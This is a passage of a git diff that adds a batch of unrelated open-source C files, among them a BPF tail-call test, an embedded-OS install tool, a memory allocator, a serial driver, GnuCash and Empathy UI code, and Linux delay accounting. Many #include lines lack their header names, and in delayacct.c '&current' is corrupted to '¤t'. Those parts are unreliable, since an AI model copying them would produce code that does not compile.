vprintk(msg_level, fmt, args); + va_end(args); + + return i; +} + +int vprintk(int msg_level, const char *fmt, va_list args) +{ + int i, cnt, log_this; + char buf[256]; + + log_this = console_log_level(msg_level); + if (log_this < CONSOLE_LOG_FAST) + return 0; + + cnt = vsnprintf(buf, sizeof(buf), fmt, args); + for (i = 0; i < cnt; i++) + __cbmemc_tx_byte(buf[i]); + svc_debug_print(buf); + return i; +} diff --git a/pool/shard011/C/0142117_tailcall_bpf2bpf3.c b/pool/shard011/C/0142117_tailcall_bpf2bpf3.c new file mode 100644 index 0000000000000000000000000000000000000000..7fab39a3bb12aa3d4927691bddd5f1547880c22e --- /dev/null +++ b/pool/shard011/C/0142117_tailcall_bpf2bpf3.c @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: GPL-2.0 +#include +#include +#include "bpf_legacy.h" + +struct { + __uint(type, BPF_MAP_TYPE_PROG_ARRAY); + __uint(max_entries, 2); + __uint(key_size, sizeof(__u32)); + __uint(value_size, sizeof(__u32)); +} jmp_table SEC(".maps"); + +__noinline +int subprog_tail2(struct __sk_buff *skb) +{ + volatile char arr[64] = {}; + + if (load_word(skb, 0) || load_half(skb, 0)) + bpf_tail_call_static(skb, &jmp_table, 10); + else + bpf_tail_call_static(skb, &jmp_table, 1); + + return skb->len; +} + +static __noinline +int subprog_tail(struct __sk_buff *skb) +{ + volatile char arr[64] = {}; + + bpf_tail_call_static(skb, &jmp_table, 0); + + return skb->len * 2; +} + +SEC("tc") +int classifier_0(struct __sk_buff *skb) +{ + volatile char arr[128] = {}; + + return subprog_tail2(skb); +} + +SEC("tc") +int classifier_1(struct __sk_buff *skb) +{ + volatile char arr[128] = {}; + + return skb->len * 3; +} + +SEC("tc") +int entry(struct __sk_buff *skb) +{ + volatile char arr[128] = {}; + + return subprog_tail(skb); +} + +char __license[] SEC("license") = "GPL"; diff --git a/pool/shard011/C/0142118_install.c b/pool/shard011/C/0142118_install.c new file mode 100644 index 0000000000000000000000000000000000000000..118efcf74e066372aa8c6e5d0af85b40b2a42459 --- /dev/null +++ b/pool/shard011/C/0142118_install.c @@ -0,0 +1,101 @@ +/** + * @file + * @brief + * + * @author Anton Kozlov + * @date 03.06.2014 + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#define INITFS_NAME "initfs" + +#define MSG_PREFIX "install: " + +static void cp_all_content_recursive(const char *src, const char *dst) { + char cmd_buf[512]; + struct dirent *dent; + DIR *dir; + + dir = opendir(src); + if (!dir) { + return; + } + + while (NULL != (dent = readdir(dir))) { + snprintf(cmd_buf, sizeof(cmd_buf), "cp %s/%s %s", src, dent->d_name, dst); +#ifdef DRY_RUN + fprintf(stderr, MSG_PREFIX "going to call \"%s\"\n", cmd_buf); +#else + system(cmd_buf); +#endif + } +} + +int main(int argc, char *argv[]) { + int opt; + const char *base_root = "/initfs"; + const char *target_root = "/"; + bool mount_manage = true; + bool mountpoint_manage = true; + + getopt_init(); + while (-1 != (opt = getopt(argc, argv, "mb:t:"))) { + switch(opt) { + case 'm': + mount_manage = false; + break; + case 'b': + base_root = optarg; + break; + case 't': + target_root = optarg; + break; + default: + fprintf(stderr, MSG_PREFIX "unknown option\n"); + } + } + + if (mount_manage) { + int res; + + res = mkdir(base_root, 0755); + if (res != 0) { + if (res == -EEXIST) { + mountpoint_manage = false; + } else { + fprintf(stderr, MSG_PREFIX "can't create mountpoint while mounting." + "Try -m to disable automatic mounting\n"); + return -res; + } + } + + res = mount("none", (char *) base_root, INITFS_NAME); + if (res != 0) { + fprintf(stderr, MSG_PREFIX "can't mount." + "Try -m to disable automatic mounting\n"); + return -res; + } + } + + cp_all_content_recursive(base_root, target_root); + + if (mount_manage) { + + umount((char *) base_root); + + if (mountpoint_manage) { + rmdir(base_root); + } + } + + return 0; +} + diff --git a/pool/shard011/C/0142119_dup.c b/pool/shard011/C/0142119_dup.c new file mode 100644 index 0000000000000000000000000000000000000000..e5371f44199d82e611a397d0f1ac421e835abaad --- /dev/null +++ b/pool/shard011/C/0142119_dup.c @@ -0,0 +1,23 @@ +#include +#include +#include +#include + +#define BUFSIZE 512 + +static const char buf[BUFSIZE] = "Hello, dup!\n"; + +int main(void) +{ + int fd; + int len; + + fd = dup(1); + + len = strlen(buf); + + if (write(fd, buf, len) != len) + perror("write"); + + exit(0); +} diff --git a/pool/shard011/C/0142120_mem.c b/pool/shard011/C/0142120_mem.c new file mode 100644 index 0000000000000000000000000000000000000000..86931be599c3d1d0f8de2cb28a513540e406ddf3 --- /dev/null +++ b/pool/shard011/C/0142120_mem.c @@ -0,0 +1,214 @@ +/* + * Copyright (c) 2008-2012 the MansOS team. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +//-------------------------------------------------------------------------------- +// MansOS memory block management +// Base taken from Mantis: http://mantis.cs.colorado.edu/index.php/tiki-index.php +//-------------------------------------------------------------------------------- + +#include +#include "mem.h" + +//---------------------------------------------------------- +// types +//---------------------------------------------------------- +/** @brief A node of managed memory */ +typedef struct Node_s { + /** @brief Size of blocks */ + uint16_t size; + /** @brief Linked list of pointers */ + struct Node_s *prev; + /** @brief Pointer to ned node */ + struct Node_s *next; +} Node_t; + +//-------------------------------------------------------------------------------- +// variables +//-------------------------------------------------------------------------------- +static Node_t *freelist; // List head + +//-------------------------------------------------------------------------------- +// functions +//-------------------------------------------------------------------------------- +inline void flagBlock(Node_t *n); +inline void combine(Node_t *n1, Node_t *n2); + +void memoryInit(void *region, uint16_t size) +{ + /*set up the initial free list with one region*/ + freelist = (Node_t *)region; + freelist->size = size - sizeof(Node_t); + freelist->prev = freelist; + freelist->next = freelist; +} + +void *memoryAlloc(uint16_t size) +{ + Node_t *current; + Node_t *best; + + if (freelist == NULL) { + // No free memory available + return NULL; + } + + current = freelist; + best = NULL; + + if (size % 2 != 0) { + //need to increase size for word alignment + size++; + } + + // Run through free list and find best fitting block. + do + { + if (current->size >= size) + { + if (best == NULL) { + best = current; + } else if (current->size < best->size) { + best = current; + } + } + current = current->next; + } while (current != freelist); + + // if we could not find a block, return NULL + if (best == NULL) { + return NULL; + } + + // Determine if we should cut a piece off of this free region or return + // the whole thing if it isn't large enough to do so. + if (best->size <= size+sizeof(Node_t)) // Just return this region + { + // Pull the node out of the list. + if (best->prev == best) { + freelist = NULL; // Last free node... + } else { + best->prev->next = best->next; + best->next->prev = best->prev; + } + + // If we just removed the front node, then we have to set freelist + // to the next node + if (best == freelist) { + freelist = best->next; + } + + flagBlock(best); // Fill the block for later analysis + + return (uint8_t *)best + sizeof(Node_t); + } + else // Cut a piece off the end of this block to create a new node. + { + // Pull the new node off the best fitting one. + current = (Node_t *)((uint8_t *)best + best->size - size); + best->size -= size + sizeof(Node_t); + current->size = size; + + flagBlock(current); // Fill the block for later analysis + return (uint8_t *)current + sizeof(Node_t); + } +} + +/** @brief Flag a block of memory with 0xEF + * + * Fill a block of memory with 0xEF so it's easier to do analysis later on the usage. + * @param n Block to fill + */ +inline void flagBlock(Node_t *n) +{ + uint16_t index; + uint8_t *ptr; + + ptr = (uint8_t *)n + sizeof(Node_t); + + for (index = 0; index < (n->size); index++) + ptr[index] = 0xEF; +} + +void memoryFree(void* block) +{ + Node_t *current; + + // Get the region's header. + Node_t *region = (Node_t *) ((uint8_t *)block - sizeof(Node_t)); + + if (freelist == NULL) { // This is now the only free memory + freelist = region; + region->next = region; + region->prev = region; + } else { + /* Put the free'd node onto the freelist. The list is organized + by each node's physical location in memory. */ + current = freelist; + while (current < region) { + current = current->next; + if (current == freelist) { + break; + } + } + + /* Now current is the node immediately after the one to insert. */ + region->next = current; + region->prev = current->prev; + current->prev->next = region; + current->prev = region; + + /* If this is now the first block, we need to update freelist pointer. */ + if (region < freelist) { + freelist = region; + } + } + + /* Check to see if we can combine blocks of memory since the new node + could be physically adjacent to it's neighbors. */ + if ((uint8_t *)region->next == + (uint8_t *)(region) + region->size + sizeof(Node_t)) { + // Next is adjacent + combine(region, region->next); + } + + if ((uint8_t *)region->prev == + (uint8_t *)(region) - region->prev->size - sizeof(Node_t)) { + // Previous adjacent + combine(region->prev, region); + } +} + +/** @brief Combine two adjacent blocks(node_ts) + * + * NOTE: n1 must precede n2 both physically and in the freelist. + * @param n1 First block + * @param n2 Second block + */ +inline void combine(Node_t *n1, Node_t *n2) { + /*remove n2 from the free list*/ + n1->next = n2->next; + n2->next->prev = n1; + + /*adjust size of n1*/ + n1->size = n1->size + n2->size + sizeof(Node_t); +} diff --git a/pool/shard011/C/0142121_8250.c b/pool/shard011/C/0142121_8250.c new file mode 100644 index 0000000000000000000000000000000000000000..f503bdb12452d2d5d1cddb35c96a0c0826f47b4e --- /dev/null +++ b/pool/shard011/C/0142121_8250.c @@ -0,0 +1,171 @@ +/* + * This file is part of the libpayload project. + * + * Copyright (C) 2008 Advanced Micro Devices, Inc. + * Copyright (C) 2008 Ulf Jordan + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include +#include + +#define IOBASE lib_sysinfo.serial->baseaddr +#define MEMBASE (phys_to_virt(IOBASE)) + +static int serial_hardware_is_present = 0; +static int serial_is_mem_mapped = 0; + +static uint8_t serial_read_reg(int offset) +{ + offset *= lib_sysinfo.serial->regwidth; + +#if CONFIG(LP_IO_ADDRESS_SPACE) + if (!serial_is_mem_mapped) + return inb(IOBASE + offset); + else +#endif + if (lib_sysinfo.serial->regwidth == 4) + return readl(MEMBASE + offset) & 0xff; + else + return readb(MEMBASE + offset); +} + +static void serial_write_reg(uint8_t val, int offset) +{ + offset *= lib_sysinfo.serial->regwidth; + +#if CONFIG(LP_IO_ADDRESS_SPACE) + if (!serial_is_mem_mapped) + outb(val, IOBASE + offset); + else +#endif + if (lib_sysinfo.serial->regwidth == 4) + writel(val & 0xff, MEMBASE + offset); + else + writeb(val, MEMBASE + offset); +} + +#if CONFIG(LP_SERIAL_SET_SPEED) +static void serial_hardware_init(int speed, int word_bits, + int parity, int stop_bits) +{ + unsigned char reg; + +#if !CONFIG(LP_PL011_SERIAL_CONSOLE) + /* Disable interrupts. */ + serial_write_reg(0, 0x01); + + /* Assert RTS and DTR. */ + serial_write_reg(3, 0x04); + + /* Set the divisor latch. */ + reg = serial_read_reg(0x03); + serial_write_reg(reg | 0x80, 0x03); + + /* Write the divisor. */ + uint16_t divisor = 115200 / speed; + serial_write_reg(divisor & 0xFF, 0x00); + serial_write_reg(divisor >> 8, 0x01); + + /* Restore the previous value of the divisor. + * And set 8 bits per character */ + serial_write_reg((reg & ~0x80) | 3, 0x03); +#endif +} +#endif + +static struct console_input_driver consin = { + .havekey = &serial_havechar, + .getchar = &serial_getchar +}; + +static struct console_output_driver consout = { + .putchar = &serial_putchar +}; + +void serial_init(void) +{ + if (!lib_sysinfo.serial) + return; + + serial_is_mem_mapped = + (lib_sysinfo.serial->type == CB_SERIAL_TYPE_MEMORY_MAPPED); + + if (!serial_is_mem_mapped) { +#if CONFIG(LP_IO_ADDRESS_SPACE) + if ((inb(IOBASE + 0x05) == 0xFF) && + (inb(IOBASE + 0x06) == 0xFF)) { + printf("IO space mapped serial not present."); + return; + } +#else + printf("IO space mapped serial not supported."); + return; +#endif + } + +#if CONFIG(LP_SERIAL_SET_SPEED) + serial_hardware_init(CONFIG_LP_SERIAL_BAUD_RATE, 8, 0, 1); +#endif +} + +void serial_console_init(void) +{ + if (!lib_sysinfo.serial) + return; + + serial_init(); + serial_hardware_is_present = 1; + + console_add_input_driver(&consin); + console_add_output_driver(&consout); +} + +void serial_putchar(unsigned int c) +{ + if (!serial_hardware_is_present) + return; +#if !CONFIG(LP_PL011_SERIAL_CONSOLE) + while ((serial_read_reg(0x05) & 0x20) == 0) ; +#endif + serial_write_reg(c, 0x00); + if (c == '\n') + serial_putchar('\r'); +} + +int serial_havechar(void) +{ + if (!serial_hardware_is_present) + return 0; + return serial_read_reg(0x05) & 0x01; +} + +int serial_getchar(void) +{ + if (!serial_hardware_is_present) + return -1; + while (!serial_havechar()) ; + return serial_read_reg(0x00); +} diff --git a/pool/shard011/C/0142122_dialog-find-transactions2.c b/pool/shard011/C/0142122_dialog-find-transactions2.c new file mode 100644 index 0000000000000000000000000000000000000000..2fc6f59fd56ef202a09ef7fd2e2d01a7082b9a1c --- /dev/null +++ b/pool/shard011/C/0142122_dialog-find-transactions2.c @@ -0,0 +1,241 @@ +/********************************************************************\ + * dialog-find-transactions2.c : locate transactions and show them * + * Copyright (C) 2000 Bill Gribble * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License as * + * published by the Free Software Foundation; either version 2 of * + * the License, or (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License* + * along with this program; if not, contact: * + * * + * Free Software Foundation Voice: +1-617-542-5942 * + * 51 Franklin Street, Fifth Floor Fax: +1-617-542-2652 * + * Boston, MA 02110-1301, USA gnu@gnu.org * +\********************************************************************/ + +#include + +#include +#include +#include + +#include "gnc-ui-util.h" +#include "Query.h" +#include "qof.h" +#include "SX-book.h" +#include "Transaction.h" +#include "dialog-find-transactions2.h" +#include "gnc-main-window.h" +#include "gnc-plugin-page-register2.h" +#include "search-param.h" +#include "dialog-utils.h" + +#define GNC_PREFS_GROUP_SEARCH "dialogs.find" + +struct _ftd_data +{ + QofQuery *q; + QofQuery *ledger_q; + GNCSearchWindow *sw; + GtkWindow *parent; +}; + +static void +do_find_cb (QofQuery *query, gpointer user_data, gpointer *result) +{ + struct _ftd_data *ftd = user_data; + GNCLedgerDisplay2 *ledger; + gboolean new_ledger = FALSE; + GncPluginPage *page; + + ledger = gnc_ledger_display2_find_by_query (ftd->ledger_q); + + if (!ledger) + { + new_ledger = TRUE; + ledger = gnc_ledger_display2_query (query, SEARCH_LEDGER2, + REG2_STYLE_JOURNAL); + } + else + gnc_ledger_display2_set_query (ledger, query); + + gnc_ledger_display2_refresh (ledger); + + if (new_ledger) + { + page = gnc_plugin_page_register2_new_ledger (ledger); + gnc_main_window_open_page (GNC_MAIN_WINDOW(ftd->parent), page); + } + + qof_query_destroy (ftd->q); + + gnc_search_dialog_destroy (ftd->sw); +} + +static void +free_ftd_cb (gpointer user_data) +{ + struct _ftd_data *ftd = user_data; + + if (!ftd) + return; + + g_free (ftd); +} + +GNCSearchWindow * +gnc_ui_find_transactions_dialog_create2 (GNCLedgerDisplay2 * orig_ledg) +{ + QofIdType type = GNC_ID_SPLIT; + struct _ftd_data *ftd; + static GList *params = NULL; + QofQuery *start_q, *show_q = NULL; + gboolean num_action = + qof_book_use_split_action_for_num_field(gnc_get_current_book()); + GtkWindow *parent = GTK_WINDOW(gnc_ledger_display2_get_parent (orig_ledg)); + + /* Build parameter list in reverse order */ + if (params == NULL) + { + params = gnc_search_param_prepend (params, N_("All Accounts"), + ACCOUNT_MATCH_ALL_TYPE, + type, SPLIT_TRANS, TRANS_SPLITLIST, + SPLIT_ACCOUNT_GUID, NULL); + params = gnc_search_param_prepend (params, N_("Account"), GNC_ID_ACCOUNT, + type, SPLIT_ACCOUNT, QOF_PARAM_GUID, + NULL); + params = gnc_search_param_prepend (params, N_("Balanced"), NULL, + type, SPLIT_TRANS, TRANS_IS_BALANCED, + NULL); + params = gnc_search_param_prepend (params, N_("Closing Entries"), NULL, + type, SPLIT_TRANS, TRANS_IS_CLOSING, + NULL); + params = gnc_search_param_prepend (params, N_("Reconcile"), RECONCILED_MATCH_TYPE, + type, SPLIT_RECONCILE, NULL); + params = gnc_search_param_prepend (params, N_("Share Price"), NULL, + type, SPLIT_SHARE_PRICE, NULL); + params = gnc_search_param_prepend (params, N_("Amount"), NULL, + type, SPLIT_AMOUNT, NULL); + params = gnc_search_param_prepend (params, N_("Value"), NULL, + type, SPLIT_VALUE, NULL); + params = gnc_search_param_prepend (params, N_("Date Posted"), NULL, + type, SPLIT_TRANS, TRANS_DATE_POSTED, + NULL); + params = gnc_search_param_prepend (params, (num_action + ? N_("Number/Action") + : N_("Action")), NULL, + type, SPLIT_ACTION, NULL); + params = gnc_search_param_prepend (params, (num_action + ? N_("Transaction Number") + : N_("Number")), NULL, + type, SPLIT_TRANS, TRANS_NUM, NULL); + { + GList *params2 = NULL; + params2 = gnc_search_param_prepend (params2, "", NULL, + type, SPLIT_MEMO, NULL); + params2 = gnc_search_param_prepend (params2, "", NULL, + type, SPLIT_TRANS, TRANS_DESCRIPTION, + NULL); + params2 = gnc_search_param_prepend (params2, "", NULL, + type, SPLIT_TRANS, TRANS_NOTES, NULL); + params = gnc_search_param_prepend_compound (params, + N_("Description, Notes, or Memo"), + params2, + GTK_JUSTIFY_LEFT, SEARCH_PARAM_ANY); + } + params = gnc_search_param_prepend (params, N_("Memo"), NULL, + type, SPLIT_MEMO, NULL); + params = gnc_search_param_prepend (params, N_("Notes"), NULL, + type, SPLIT_TRANS, TRANS_NOTES, NULL); + params = gnc_search_param_prepend (params, N_("Description"), NULL, + type, SPLIT_TRANS, TRANS_DESCRIPTION, + NULL); + } + else + { + GList *l; + for (l = params; l; l = l->next) + { + GNCSearchParam *param = l->data; + + if (num_action) + { + if (strcmp (param->title, N_("Action")) == 0) + gnc_search_param_set_title (param, N_("Number/Action")); + if (strcmp (param->title, N_("Number")) == 0) + gnc_search_param_set_title (param, N_("Transaction Number")); + } + else + { + if (strcmp (param->title, N_("Number/Action")) == 0) + gnc_search_param_set_title (param, N_("Action")); + if (strcmp (param->title, N_("Transaction Number")) == 0) + gnc_search_param_set_title (param, N_("Number")); + } + } + } + + ftd = g_new0 (struct _ftd_data, 1); + + if (orig_ledg) + { + ftd->ledger_q = gnc_ledger_display2_get_query (orig_ledg); + start_q = show_q = qof_query_copy (ftd->ledger_q); + } + else + { + start_q = qof_query_create (); + qof_query_set_book (start_q, gnc_get_current_book ()); + + /* In lieu of not "mis-using" some portion of the infrastructure by writing + * a bunch of new code, we just filter out the accounts of the template + * transactions. While these are in a separate Account trees just for this + * reason, the query engine makes no distinction between Account trees. + * See Gnome Bug 86302. + * -- jsled + * + * copied from gnc-ledger-display2.c:gnc_ledger_display2_gl() -- warlord + * + * Alternatively, you could look for a GNC_SX_ACCOUNT [SchedAction.h] + * key in the KVP frame of the split. + */ + { + Account *tRoot; + GList *al; + + tRoot = gnc_book_get_template_root( gnc_get_current_book() ); + al = gnc_account_get_descendants( tRoot ); + + if (g_list_length(al) != 0) + xaccQueryAddAccountMatch( start_q, al, QOF_GUID_MATCH_NONE, QOF_QUERY_AND ); + + g_list_free (al); + al = NULL; + tRoot = NULL; + } + + ftd->q = start_q; /* save this to destroy it later */ + } + + ftd->parent = parent; + + ftd->sw = gnc_search_dialog_create (parent, type, _("Find Transaction"), + params, NULL, start_q, show_q, + NULL, do_find_cb, NULL, + ftd, free_ftd_cb, GNC_PREFS_GROUP_SEARCH, NULL, + "gnc-class-transactions"); + if (!ftd->sw) + { + free_ftd_cb (ftd); + return NULL; + } + + return ftd->sw; +} diff --git a/pool/shard011/C/0142123_empathy-logs.c b/pool/shard011/C/0142123_empathy-logs.c new file mode 100644 index 0000000000000000000000000000000000000000..613bf751613722b11e0ef5de0d69aed0c55c5195 --- /dev/null +++ b/pool/shard011/C/0142123_empathy-logs.c @@ -0,0 +1,76 @@ +/* + * Copyright (C) 2008 Collabora Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program; if not, write to the + * Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, + * Boston, MA 02110-1301 USA + * + * Authors: Xavier Claessens + */ + +#include "config.h" + +#include +#include +#include + +#include "empathy-debug.h" +#include "empathy-log-window.h" +#include "empathy-ui-utils.h" +#include "empathy-utils.h" + +static void +destroy_cb (GtkWidget *dialog, + gpointer user_data) +{ + gtk_main_quit (); +} + +static void +account_manager_prepare_cb (GObject *source, + GAsyncResult *result, + gpointer user_data) +{ + GError *error = NULL; + GtkWidget *window; + + tp_proxy_prepare_finish (source, result, &error); + g_assert_no_error (error); + + window = empathy_log_window_show (NULL, NULL, FALSE, NULL); + + g_signal_connect (window, "destroy", G_CALLBACK (destroy_cb), NULL); +} + +int +main (int argc, + char *argv[]) +{ + TpAccountManager *mgr; + + gtk_init (&argc, &argv); + empathy_gtk_init (); + g_set_application_name (PACKAGE_NAME); + gtk_window_set_default_icon_name ("empathy"); + + mgr = tp_account_manager_dup (); + + tp_proxy_prepare_async (mgr, NULL, account_manager_prepare_cb, NULL); + + gtk_main (); + + g_object_unref (mgr); + + return EXIT_SUCCESS; +} diff --git a/pool/shard011/C/0142124_delayacct.c b/pool/shard011/C/0142124_delayacct.c new file mode 100644 index 0000000000000000000000000000000000000000..51530d5b15a8a7b469d0de06868a723aaf918eee --- /dev/null +++ b/pool/shard011/C/0142124_delayacct.c @@ -0,0 +1,212 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* delayacct.c - per-task delay accounting + * + * Copyright (C) Shailabh Nagar, IBM Corp. 2006 + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +DEFINE_STATIC_KEY_FALSE(delayacct_key); +int delayacct_on __read_mostly; /* Delay accounting turned on/off */ +struct kmem_cache *delayacct_cache; + +static void set_delayacct(bool enabled) +{ + if (enabled) { + static_branch_enable(&delayacct_key); + delayacct_on = 1; + } else { + delayacct_on = 0; + static_branch_disable(&delayacct_key); + } +} + +static int __init delayacct_setup_enable(char *str) +{ + delayacct_on = 1; + return 1; +} +__setup("delayacct", delayacct_setup_enable); + +void delayacct_init(void) +{ + delayacct_cache = KMEM_CACHE(task_delay_info, SLAB_PANIC|SLAB_ACCOUNT); + delayacct_tsk_init(&init_task); + set_delayacct(delayacct_on); +} + +#ifdef CONFIG_PROC_SYSCTL +int sysctl_delayacct(struct ctl_table *table, int write, void *buffer, + size_t *lenp, loff_t *ppos) +{ + int state = delayacct_on; + struct ctl_table t; + int err; + + if (write && !capable(CAP_SYS_ADMIN)) + return -EPERM; + + t = *table; + t.data = &state; + err = proc_dointvec_minmax(&t, write, buffer, lenp, ppos); + if (err < 0) + return err; + if (write) + set_delayacct(state); + return err; +} +#endif + +void __delayacct_tsk_init(struct task_struct *tsk) +{ + tsk->delays = kmem_cache_zalloc(delayacct_cache, GFP_KERNEL); + if (tsk->delays) + raw_spin_lock_init(&tsk->delays->lock); +} + +/* + * Finish delay accounting for a statistic using its timestamps (@start), + * accumalator (@total) and @count + */ +static void delayacct_end(raw_spinlock_t *lock, u64 *start, u64 *total, u32 *count) +{ + s64 ns = local_clock() - *start; + unsigned long flags; + + if (ns > 0) { + raw_spin_lock_irqsave(lock, flags); + *total += ns; + (*count)++; + raw_spin_unlock_irqrestore(lock, flags); + } +} + +void __delayacct_blkio_start(void) +{ + current->delays->blkio_start = local_clock(); +} + +/* + * We cannot rely on the `current` macro, as we haven't yet switched back to + * the process being woken. + */ +void __delayacct_blkio_end(struct task_struct *p) +{ + struct task_delay_info *delays = p->delays; + u64 *total; + u32 *count; + + if (p->delays->flags & DELAYACCT_PF_SWAPIN) { + total = &delays->swapin_delay; + count = &delays->swapin_count; + } else { + total = &delays->blkio_delay; + count = &delays->blkio_count; + } + + delayacct_end(&delays->lock, &delays->blkio_start, total, count); +} + +int delayacct_add_tsk(struct taskstats *d, struct task_struct *tsk) +{ + u64 utime, stime, stimescaled, utimescaled; + unsigned long long t2, t3; + unsigned long flags, t1; + s64 tmp; + + task_cputime(tsk, &utime, &stime); + tmp = (s64)d->cpu_run_real_total; + tmp += utime + stime; + d->cpu_run_real_total = (tmp < (s64)d->cpu_run_real_total) ? 0 : tmp; + + task_cputime_scaled(tsk, &utimescaled, &stimescaled); + tmp = (s64)d->cpu_scaled_run_real_total; + tmp += utimescaled + stimescaled; + d->cpu_scaled_run_real_total = + (tmp < (s64)d->cpu_scaled_run_real_total) ? 0 : tmp; + + /* + * No locking available for sched_info (and too expensive to add one) + * Mitigate by taking snapshot of values + */ + t1 = tsk->sched_info.pcount; + t2 = tsk->sched_info.run_delay; + t3 = tsk->se.sum_exec_runtime; + + d->cpu_count += t1; + + tmp = (s64)d->cpu_delay_total + t2; + d->cpu_delay_total = (tmp < (s64)d->cpu_delay_total) ? 0 : tmp; + + tmp = (s64)d->cpu_run_virtual_total + t3; + d->cpu_run_virtual_total = + (tmp < (s64)d->cpu_run_virtual_total) ? 0 : tmp; + + if (!tsk->delays) + return 0; + + /* zero XXX_total, non-zero XXX_count implies XXX stat overflowed */ + + raw_spin_lock_irqsave(&tsk->delays->lock, flags); + tmp = d->blkio_delay_total + tsk->delays->blkio_delay; + d->blkio_delay_total = (tmp < d->blkio_delay_total) ? 0 : tmp; + tmp = d->swapin_delay_total + tsk->delays->swapin_delay; + d->swapin_delay_total = (tmp < d->swapin_delay_total) ? 0 : tmp; + tmp = d->freepages_delay_total + tsk->delays->freepages_delay; + d->freepages_delay_total = (tmp < d->freepages_delay_total) ? 0 : tmp; + tmp = d->thrashing_delay_total + tsk->delays->thrashing_delay; + d->thrashing_delay_total = (tmp < d->thrashing_delay_total) ? 0 : tmp; + d->blkio_count += tsk->delays->blkio_count; + d->swapin_count += tsk->delays->swapin_count; + d->freepages_count += tsk->delays->freepages_count; + d->thrashing_count += tsk->delays->thrashing_count; + raw_spin_unlock_irqrestore(&tsk->delays->lock, flags); + + return 0; +} + +__u64 __delayacct_blkio_ticks(struct task_struct *tsk) +{ + __u64 ret; + unsigned long flags; + + raw_spin_lock_irqsave(&tsk->delays->lock, flags); + ret = nsec_to_clock_t(tsk->delays->blkio_delay + + tsk->delays->swapin_delay); + raw_spin_unlock_irqrestore(&tsk->delays->lock, flags); + return ret; +} + +void __delayacct_freepages_start(void) +{ + current->delays->freepages_start = local_clock(); +} + +void __delayacct_freepages_end(void) +{ + delayacct_end(¤t->delays->lock, + ¤t->delays->freepages_start, + ¤t->delays->freepages_delay, + ¤t->delays->freepages_count); +} + +void __delayacct_thrashing_start(void) +{ + current->delays->thrashing_start = local_clock(); +} + +void __delayacct_thrashing_end(void) +{ + delayacct_end(¤t->delays->lock, + ¤t->delays->thrashing_start, + ¤t->delays->thrashing_delay, + ¤t->delays->thrashing_count); +} diff --git a/pool/shard011/C/0142125_event.c b/pool/shard011/C/0142125_event.c new file mode 100644 index 0000000000000000000000000000000000000000..8a81d608f0d3831a7545c2631f3445d9ef43d02f --- /dev/null +++ b/pool/shard011/C/0142125_event.c @@ -0,0 +1,21 @@ +#include "event.h" + +void add_event(list_t *list, void *FUNCPOINT(function, void *data), void *data) { + event_t *event = (event_t *)malloc(sizeof(event_t)); + event->event_function = function; + event->data = data; + list_push_back(list, event, false); +} + +void run_events(list_t *list, bool free_data) { 